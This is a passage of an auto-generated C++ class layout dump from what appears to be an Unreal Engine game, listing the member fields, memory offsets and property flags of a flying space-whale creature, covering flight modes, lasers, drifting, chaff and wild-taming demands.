unsigned char UnknownData28[0x3]; // 0x27D1(0x0003) MISSED OFFSET
struct FVector LoopStartLocation; // 0x27D4(0x000C) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
struct FRotator StartLoopRotation; // 0x27E0(0x000C) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
bool IsImmelmann; // 0x27EC(0x0001) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData29[0x3]; // 0x27ED(0x0003) MISSED OFFSET
class UCurveVector* ImmelmannLocationCurve; // 0x27F0(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
class UCurveVector* ImmelmannRotationCurve; // 0x27F8(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float ImmelmannSpeed; // 0x2800(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float ImmelmannEndTime; // 0x2804(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float CurrentCrosshairSpread; // 0x2808(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float CrosshairSpreadInterpSpeed; // 0x280C(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
class AActor* CurrentChargedLaserTarget; // 0x2810(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnTemplate, DisableEditOnInstance, IsPlainOldData)
struct FAnchors TargetHUDAnchor; // 0x2818(0x0010) (Edit, BlueprintVisible, DisableEditOnInstance)
int LaserLevel; // 0x2828(0x0004) (Edit, BlueprintVisible, Net, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData30[0x4]; // 0x282C(0x0004) MISSED OFFSET
double LastTimePlayedTerrainHitVFX; // 0x2830(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float DistanceThresholdForLaserUpgradeSpawn; // 0x2838(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float ChanceToGetLaserUpgradeSpawn; // 0x283C(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
double LastTimeSpawnedLaserUpgrade; // 0x2840(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float LaserUpgradeSpawnCooldown; // 0x2848(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
int MaxLaserLevel; // 0x284C(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
bool Damaged; // 0x2850(0x0001) (Edit, BlueprintVisible, Net, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData31[0x3]; // 0x2851(0x0003) MISSED OFFSET
struct FName StarFoxModeSplineTag; // 0x2854(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float StarFoxModeRadius; // 0x285C(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
class AMissionSpline* CurrentSpline; // 0x2860(0x0008) (Edit, BlueprintVisible, Net, ZeroConstructor, DisableEditOnTemplate, DisableEditOnInstance, IsPlainOldData)
float CursorPlaneCameraOffset; // 0x2868(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float StarFoxExtraRotationRateMult; // 0x286C(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
bool DebugStarFox; // 0x2870(0x0001) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData32[0x7]; // 0x2871(0x0007) MISSED OFFSET
class AShooterProjectile* FiredProjectile; // 0x2878(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnTemplate, DisableEditOnInstance, IsPlainOldData)
struct FHUDElement CurrentChargedLaserHUDElement; // 0x2880(0x0150) (Edit, BlueprintVisible, DisableEditOnInstance)
class AShooterProjectile* FiredFlakCannonProjectile; // 0x29D0(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnTemplate, DisableEditOnInstance, IsPlainOldData)
float SpinningOffsetStarFoxMode; // 0x29D8(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float RotationRateMultSpinning; // 0x29DC(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float DefaultCrosshairSpread; // 0x29E0(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float MinCrosshairSpread; // 0x29E4(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float MaxCrossHairSpread; // 0x29E8(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
bool IsBraking; // 0x29EC(0x0001) (Edit, BlueprintVisible, Net, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData33[0x3]; // 0x29ED(0x0003) MISSED OFFSET
float JetFXScaleBraking; // 0x29F0(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float BrakingSpeedMult; // 0x29F4(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
double LastPressedBrake; // 0x29F8(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float RotationRateMultSpinningAndBraking; // 0x2A00(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float RotationRateMultBraking; // 0x2A04(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
class UParticleSystem* StartedBrakingEmitter; // 0x2A08(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float BrakingFOV; // 0x2A10(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData34[0x4]; // 0x2A14(0x0004) MISSED OFFSET
double TimeStartedBraking; // 0x2A18(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
struct FVector TPVOffsetStarFoxMode; // 0x2A20(0x000C) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
struct FRotator RotationRateStarFoxMode; // 0x2A2C(0x000C) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
struct FVector TPVOffsetLooping; // 0x2A38(0x000C) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
struct FVector TPVOffsetImmelmann; // 0x2A44(0x000C) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float MaxAccelerationStarFoxMode; // 0x2A50(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData35[0x4]; // 0x2A54(0x0004) MISSED OFFSET
class UAnimMontage* BarrelRollLeftMontage; // 0x2A58(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float BarrelRollCooldown; // 0x2A60(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData36[0x4]; // 0x2A64(0x0004) MISSED OFFSET
double LastBarrelRollTime; // 0x2A68(0x0008) (Edit, BlueprintVisible, Net, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float BarrelRollSpeed; // 0x2A70(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
bool InfiniteFuel; // 0x2A74(0x0001) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData37[0x3]; // 0x2A75(0x0003) MISSED OFFSET
float LasersTargetingRadius; // 0x2A78(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
bool LoopingHitWall; // 0x2A7C(0x0001) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData38[0x3]; // 0x2A7D(0x0003) MISSED OFFSET
float StarFoxModeCameraYOffsetScalar; // 0x2A80(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float PrevClipX; // 0x2A84(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float StructureBaseDamage; // 0x2A88(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float StarFoxModeCameraRotationInterpSpeed; // 0x2A8C(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float StarFoxCameraCollisionOffsetScalar; // 0x2A90(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
bool StarFoxModeCameraDebugging; // 0x2A94(0x0001) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData39[0x3]; // 0x2A95(0x0003) MISSED OFFSET
float StarFoxCameraCollisionScalarY; // 0x2A98(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float StarFoxCameraCollisionRadius; // 0x2A9C(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
double LastTimeChangedSpline; // 0x2AA0(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
struct FRotator PrevCamRotation; // 0x2AA8(0x000C) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData40[0x4]; // 0x2AB4(0x0004) MISSED OFFSET
class AMissionSpline* PrevSpline; // 0x2AB8(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnTemplate, DisableEditOnInstance, IsPlainOldData)
struct FName StarFoxModeDamageCollisionProfile; // 0x2AC0(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
struct FName StarFoxModePushCollisionProfile; // 0x2AC8(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
int NumStarFoxCollisions; // 0x2AD0(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData41[0x4]; // 0x2AD4(0x0004) MISSED OFFSET
double LastTimeDidCollisionDamage; // 0x2AD8(0x0008) (Edit, BlueprintVisible, Net, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float StarFoxCollisionDotDamage; // 0x2AE0(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float StarFoxModeZInterp; // 0x2AE4(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
double RiderSetTime; // 0x2AE8(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float RiderWarmupTime; // 0x2AF0(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float DamageOnTerrainCollision; // 0x2AF4(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
struct FVector DriftMovementInput; // 0x2AF8(0x000C) (Edit, BlueprintVisible, Net, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float DriftSpeedBase; // 0x2B04(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float DriftingInterpSpeed; // 0x2B08(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float DriftAngleBase; // 0x2B0C(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float RotationRateMultSuperFlight; // 0x2B10(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float SpinningOffset; // 0x2B14(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float DriftingMeshYawCurrent; // 0x2B18(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float DriftingMeshInterpSpeed; // 0x2B1C(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
bool DebugDrifting; // 0x2B20(0x0001) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData42[0x3]; // 0x2B21(0x0003) MISSED OFFSET
float DriftJetMaxScale; // 0x2B24(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float DriftJetMinScale; // 0x2B28(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float DriftBoostBaseSpeed; // 0x2B2C(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
double DriftStartTime; // 0x2B30(0x0008) (Edit, BlueprintVisible, Net, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float DriftBoostMaxSpeed; // 0x2B38(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData43[0x4]; // 0x2B3C(0x0004) MISSED OFFSET
double DriftEndTime; // 0x2B40(0x0008) (Edit, BlueprintVisible, Net, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float MostRecentDriftSpeed; // 0x2B48(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
bool DriftingAllowedBoost; // 0x2B4C(0x0001) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData44[0x3]; // 0x2B4D(0x0003) MISSED OFFSET
double LastLaserLevelChangedTime; // 0x2B50(0x0008) (Edit, BlueprintVisible, Net, ZeroConstructor, Transient, DisableEditOnInstance, IsPlainOldData)
float LaserLevelDowngradeTime; // 0x2B58(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData45[0x4]; // 0x2B5C(0x0004) MISSED OFFSET
struct FScriptMulticastDelegate NewEventDispatcher; // 0x2B60(0x0010) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, BlueprintAssignable)
class UClass* SplineClass; // 0x2B70(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float AddSuperBoostFOV; // 0x2B78(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData46[0x4]; // 0x2B7C(0x0004) MISSED OFFSET
class UAnimMontage* BarrelRollRightMontage; // 0x2B80(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
bool LastFrameMoveRightWasRight; // 0x2B88(0x0001) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData47[0x3]; // 0x2B89(0x0003) MISSED OFFSET
struct FRotator CurrentDesiredRotation; // 0x2B8C(0x000C) (Edit, BlueprintVisible, Net, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float MaxRotationRateDrifting; // 0x2B98(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData48[0x4]; // 0x2B9C(0x0004) MISSED OFFSET
class UCurveVector* DriftingRotationRateMultCurve; // 0x2BA0(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float AverageDriftingRotationDelta; // 0x2BA8(0x0004) (Edit, BlueprintVisible, Net, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData49[0x4]; // 0x2BAC(0x0004) MISSED OFFSET
class UCurveVector* DriftingTailWiggleCurve; // 0x2BB0(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float TailWiggleAmount; // 0x2BB8(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float TailWhipSpeed; // 0x2BBC(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
struct FRotator RotatingMotionRotationRateCurrent; // 0x2BC0(0x000C) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float MaxExtraRotationRate; // 0x2BCC(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
struct FVector CurrentStarFoxCameraLoc; // 0x2BD0(0x000C) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
struct FVector PrevBarrelRollVelocity; // 0x2BDC(0x000C) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
bool AllowBrakingInStarFoxMode; // 0x2BE8(0x0001) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
bool AllowLoopInStarFoxMode; // 0x2BE9(0x0001) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData50[0x2]; // 0x2BEA(0x0002) MISSED OFFSET
struct FVector StarFoxModeCameraDirection; // 0x2BEC(0x000C) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float StarFoxModeBarrelRollForwardSpeedMult; // 0x2BF8(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float StarFoxModeChargedLaserRange; // 0x2BFC(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
class AMissionSpline* PrevMissionSpline; // 0x2C00(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnTemplate, DisableEditOnInstance, IsPlainOldData)
bool DisableStarFoxModeAfterLosingSplineTheFirstTime; // 0x2C08(0x0001) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
bool StarFoxModeDisabled; // 0x2C09(0x0001) (Edit, BlueprintVisible, Net, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData51[0x2]; // 0x2C0A(0x0002) MISSED OFFSET
float MinFoV; // 0x2C0C(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float MaxFoV; // 0x2C10(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
bool LastFrameWasStarFoxCamera; // 0x2C14(0x0001) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData52[0x3]; // 0x2C15(0x0003) MISSED OFFSET
struct FVector LastKnownUnCollidedLocStarFox; // 0x2C18(0x000C) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float StarFoxCollisionImpulseDirectionOffset; // 0x2C24(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float StarFoxCollisionImpulseStrength; // 0x2C28(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float StarFoxPushCollisionImpulseStrength; // 0x2C2C(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
double LastTimeDidStarFoxCollisionImpulse; // 0x2C30(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
bool DebugStarFoxCollision; // 0x2C38(0x0001) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData53[0x3]; // 0x2C39(0x0003) MISSED OFFSET
float StarFoxCollisionImpulseCooldown; // 0x2C3C(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
bool DebugBarrelRoll; // 0x2C40(0x0001) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData54[0x3]; // 0x2C41(0x0003) MISSED OFFSET
float LaserHitRadius; // 0x2C44(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
struct FVector CrosshairAimStart; // 0x2C48(0x000C) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
struct FVector CrosshairAimEnd; // 0x2C54(0x000C) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float groundFXOffset; // 0x2C60(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData55[0x4]; // 0x2C64(0x0004) MISSED OFFSET
double LastTimeTickedGroundFx; // 0x2C68(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
bool DebugGroundFX; // 0x2C70(0x0001) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData56[0x3]; // 0x2C71(0x0003) MISSED OFFSET
float WaterSurfaceTooHighThreshold; // 0x2C74(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
class UCurveVector* GroundFXScaleCurve; // 0x2C78(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
double LastTimeSplashVFXPlayed; // 0x2C80(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float SplashVFXScale; // 0x2C88(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float SpashVFXDistanceThreshold; // 0x2C8C(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float EchoLocationRadius; // 0x2C90(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData57[0x4]; // 0x2C94(0x0004) MISSED OFFSET
class UClass* EchoLocationEmitter; // 0x2C98(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
double LastTimeEchoLocation; // 0x2CA0(0x0008) (Edit, BlueprintVisible, Net, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float EchoLocationCooldown; // 0x2CA8(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float ChaffDetectRadiusBase; // 0x2CAC(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
int NumChaffsToSpawn; // 0x2CB0(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData58[0x4]; // 0x2CB4(0x0004) MISSED OFFSET
class UAnimMontage* ChaffAnim; // 0x2CB8(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float ChaffExplosionScale; // 0x2CC0(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData59[0x4]; // 0x2CC4(0x0004) MISSED OFFSET
double LastTimeChaff; // 0x2CC8(0x0008) (Edit, BlueprintVisible, Net, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float ChaffCooldown; // 0x2CD0(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float WaveMovementScale; // 0x2CD4(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float WaveMovementSpeed; // 0x2CD8(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float NudgeImpulseWalking; // 0x2CDC(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float NudgeImpulseFalling; // 0x2CE0(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData60[0x4]; // 0x2CE4(0x0004) MISSED OFFSET
struct FMultiUseEntry WildPetMultiUseEntry; // 0x2CE8(0x0048) (Edit, BlueprintVisible, DisableEditOnInstance)
bool ForceFlee; // 0x2D30(0x0001) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData61[0x3]; // 0x2D31(0x0003) MISSED OFFSET
float FleeFromPettingTime; // 0x2D34(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float TimeToWildAnger; // 0x2D38(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData62[0x4]; // 0x2D3C(0x0004) MISSED OFFSET
class UAnimMontage* AngerMontage; // 0x2D40(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
struct FVector BlowHoleEmitterScale; // 0x2D48(0x000C) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float AngerRadius; // 0x2D54(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
class AShooterCharacter* AngryDolphinTarget; // 0x2D58(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnTemplate, DisableEditOnInstance, IsPlainOldData)
bool AngryDolphinBlowHoleTriggered; // 0x2D60(0x0001) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData63[0x3]; // 0x2D61(0x0003) MISSED OFFSET
float TimeToDropAngryDinoAggro; // 0x2D64(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float DistanceToAngryBlowHole; // 0x2D68(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
int MaxWildsToAnger; // 0x2D6C(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
int NumPetsWanted; // 0x2D70(0x0004) (Edit, BlueprintVisible, Net, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
int NumFoodWanted; // 0x2D74(0x0004) (Edit, BlueprintVisible, Net, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
int WildDemandLevel; // 0x2D78(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
int MaxWildDemandLevel; // 0x2D7C(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
class UCurveVector* WildDemandsCurve; // 0x2D80(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
struct FMultiUseEntry WildFoodMultiUseEntry; // 0x2D88(0x0048) (Edit, BlueprintVisible, DisableEditOnInstance)
double LastTimeMetDemands; // 0x2DD0(0x0008) (Edit, BlueprintVisible, Net, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
class UClass* WildFoodItem; // 0x2DD8(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float LoopInterpSpeed; // 0x2DE0(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float ChanceToSpawnSpaceWhale; // 0x2DE4(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float SpaceWhaleSpawnOffset; // 0x2DE8(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData64[0x4]; // 0x2DEC(0x0004) MISSED OFFSET
class AActor* SpaceWhaleIntroActorInstance; // 0x2DF0(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnTemplate, DisableEditOnInstance, IsPlainOldData)
float AngerTime; // 0x2DF8(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
bool WildAngry; // 0x2DFC(0x0001) (Edit, BlueprintVisible, Net, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData65[0x3]; // 0x2DFD(0x0003) MISSED OFFSET
class UAnimMontage* WildSatisfiedAnim; // 0x2E00(0x0008) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float MaxDinoLevel; // 0x2E08(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
float UntamedRunningSpeedModifierHasDemands; // 0x2E0C(0x0004) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
bool DebugSpaceWhale; // 0x2E10(0x0001) (Edit, BlueprintVisible, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
unsigned char UnknownData66[0x7]; // 0x2E11(0x0007) MISSED OFFSET
double LastTimeLoweredDino; // 0x2E18(0x0008) (Edit, BlueprintVisible, Net, ZeroConstructor, DisableEditOnInstance, IsPlainOldData)
